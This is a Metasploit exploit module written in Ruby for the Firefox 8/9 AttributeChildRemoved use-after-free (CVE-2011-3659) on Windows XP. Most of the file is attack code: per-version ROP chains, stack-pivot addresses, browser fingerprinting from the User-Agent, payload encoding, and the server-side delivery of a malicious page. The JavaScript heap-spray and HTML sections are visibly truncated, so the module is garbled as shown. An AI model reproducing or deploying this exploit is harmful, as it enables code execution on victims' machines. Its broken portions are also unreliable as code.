require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Firefox 8/9 AttributeChildRemoved() Use-After-Free',
'Description'=> %q{
This module exploits a use-after-free vulnerability in Firefox 8/8.0.1 and 9/9.0.1.
Removal of child nodes from the nsDOMAttribute can allow for a child
to still be accessible after removal due to a premature notification
of AttributeChildRemoved. Since mFirstChild is not set to NULL until
after this call is made, this means the removed child will be accessible
after it has been removed. By carefully manipulating the memory layout,
this can lead to arbitrary code execution.
},
'License'=> MSF_LICENSE,
'Author' =>
[
'regenrecht',
'Lincoln<lincoln[at]corelan.be>',
'corelanc0d3r<peter.ve[at]corelan.be>'
],
'References' =>
[
[ 'CVE', '2011-3659' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/upcoming/'],
[ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=708198' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f'
},
'Payload'=>
{
'BadChars' => "\x00\x0a\x0d\x34",
'DisableNops'=> true,
'PrependEncoder' => "\x81\xc4\x24\xfa\xff\xff"
},
'Platform' => 'win',
'Targets'=>
[
[ 'Automatic', {} ],
[
'Windows XP - Firefox 8 / 8.0.1',
{
'Ret' => 0x0C0C0C0C,
'OffSet' => 0x606,
'Size' => 0x40000,
'StackFlip' => 0x7818f50b,
'PopEsp' => [ 0x0c0c0c0c, 0x0c0c0c0c, 0x7819548e, 0x0c0c0c10 ],
'FF' => 8,
'OS' => 'XP'
}
],
[
'Windows XP - Firefox 9',
{
'Ret' => 0x0C0C0C0C,
'OffSet' => 0x606,
'Size' => 0x40000,
'StackFlip' => 0x1000ed58,
'PopEsp' => [ 0x0c0c0c0c, 0x10006a01, 0x0c0c0c10 ],
'FF' => 9,
'OS' => 'XP'
}
],
[
'Windows XP - Firefox 9.0.1',
{
'Ret' => 0x0C0C0C0C,
'OffSet' => 0x606,
'Size' => 0x40000,
'StackFlip' => 0x1000ed4a,
'PopEsp' => [ 0x0c0c0c0c, 0x10006a11, 0x0c0c0c10 ],
'FF' => 901,
'OS' => 'XP'
}
]
],
'DisclosureDate' => 'Dec 6 2011',
'DefaultTarget'=> 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def junk(n=4)
return rand_text_alpha_upper(n).unpack("L")[0].to_i
end
def nop
return make_nops(4).unpack("L")[0].to_i
end
def get_rop_chain(ffversion,osversion)
rop_chain = []
if ffversion == 8 and osversion == "XP"
rop_chain =
[
0x7819c80a,
0x781a909c,
0x7813af5d,
0x78197f06,
0x7814eef1,
0x781503c3,
0x781391d0,
0x00000001,
0x781a147c,
0x00001000,
0x7819728e,
0x00000040,
0x781945b5,
0x78152809,
0x7819ce58,
nop,
0x7813d6b7,
].flatten.pack("V*")
elsif ffversion == 9 and osversion == "XP"
rop_chain =
[
0x10019ee9,
0x10020060,
0x1000f994,
0x10012ad0,
0x00000000,
0x10006f41,
0x1000cf40,
0x1000d6ce,
0x10019ee9,
0x0c0c0c50,
0x1000eeb4,
0x1001f145,
0x10004860,
0x1001f111,
0x100058B3,
junk,
0x00750078,
0x002e006c,
0x006c0064,
0x0000006c,
0x1000cf40,
0x00A63374,
0x10018ada,
0x10008ddf,
0x1000a031,
0x1000a031,
0x10013f1f,
0x1000687b,
0x1001a59b,
0x10012ad0,
0x00000001,
0x1000cf40,
0x00001000,
0x1001069e,
0x00000040,
0x1000eeb4,
0x1000d6ce,
0x10004860,
0x10004860,
0x100058B3,
].flatten.pack("V*")
elsif ffversion == 901 and osversion == "XP"
rop_chain =
[
0x1000bfc1,
0x10020060,
0x1000f986,
0x1000f5ef,
0x00000000,
0x10006f51,
0x1000cf2c,
0x1001ea03,
0x1000bfc1,
0x0c0c0c50,
0x1000eea6,
0x1000dda4,
0x10004870,
0x10001ab4,
0x100058c3,
junk,
0x00750078,
0x002e006c,
0x006c0064,
0x0000006c,
0x1000cf2c,
0x00A63374,
0x10018acf,
0x10008dd1,
0x1000e0b8,
0x1000e0b8,
0x10013f14,
0x100162d5,
0x10019d12,
0x1000f5ef,
0x00000001,
0x1000cf2c,
0x00001000,
0x10007e46,
0x00000040,
0x1000eea6,
0x1001ea03,
0x10004870,
0x10004870,
0x100058c3,
].flatten.pack("V*")
end
return rop_chain
end
def on_request_uri(cli, request)
return if ((p = regenerate_payload(cli)) == nil)
ffversion = ""
osversion = ""
agent = request.headers['User-Agent']
if agent !~ /Firefox\/8\.0/ and agent !~ /Firefox\/9\.0/
vprint_error("This browser version is not supported: #{agent.to_s}")
send_not_found(cli)
return
end
my_target = target
if my_target.name == 'Automatic'
if agent =~ /NT 5\.1/ and agent =~ /Firefox\/8/
my_target = targets[1]
elsif agent =~ /NT 5\.1/ and agent =~ /Firefox\/9\.0\.1/
my_target = targets[3]
elsif agent =~ /NT 5\.1/ and agent =~ /Firefox\/9\.0/
my_target = targets[2]
elsif vprint_error("This Operating System is not supported: #{agent.to_s}")
send_not_found(cli)
return
end
target = my_target
end
print_status("Creating payload for #{target.name}")
rop = [ target['StackFlip'] ].pack("V")
rop << get_rop_chain(target['FF'],target['OS'])
rop_js = Rex::Text.to_unescape(rop, Rex::Arch.endian(target.arch))
code = payload.encoded
code_js = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))
popesp = target['PopEsp'].flatten.pack("V*")
popesp_js = Rex::Text.to_unescape(popesp, Rex::Arch.endian(target.arch))
filler = [ junk ].pack("V*")
filler_js = Rex::Text.to_unescape(filler, Rex::Arch.endian(target.arch))
i_name= rand_text_alpha(rand(10) + 5)
rop_name= rand_text_alpha(rand(10) + 5)
code_name = rand_text_alpha(rand(10) + 5)
offset_length_name= rand_text_alpha(rand(10) + 5)
randnum1_name = rand_text_alpha(rand(10) + 5)
randnum2_name = rand_text_alpha(rand(10) + 5)
randnum3_name = rand_text_alpha(rand(10) + 5)
randnum4_name = rand_text_alpha(rand(10) + 5)
paddingstr_name = rand_text_alpha(rand(10) + 5)
padding_name= rand_text_alpha(rand(10) + 5)
junk_offset_name= rand_text_alpha(rand(10) + 5)
single_sprayblock_name= rand_text_alpha(rand(10) + 5)
sprayblock_name = rand_text_alpha(rand(10) + 5)
varname_name= rand_text_alpha(rand(10) + 5)
thisvarname_name= rand_text_alpha(rand(10) + 5)
attr_name = rand_text_alpha(rand(10) + 5)
foo_name= rand_text_alpha(rand(10) + 5)
bar_name= rand_text_alpha(rand(10) + 5)
ni_name = rand_text_alpha(rand(10) + 5)
small_name= rand_text_alpha(rand(10) + 5)
addr_name = rand_text_alpha(rand(10) + 5)
run_name= rand_text_alpha(rand(10) + 5)
container_name= rand_text_alpha(rand(10) + 5)
spray = <<-JS
var
var
var
for (var
{
var
var
var
var
var
var
while (
var
while (
eval(
}
function
var
var
{acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; }},
false);
const
var
var
while (
for (
}
JS
content = <<-HTML
<html>
<head>
<meta http-equiv="refresh" content="3">
<body>
<script language='javascript'>
</script>
</head>
<body onload="#{run_name}();">
</svg>
</body>
</html>
HTML
print_status("Returning HTML")
send_response(cli, content, {'Content-Type'=>'text/html'})
end
end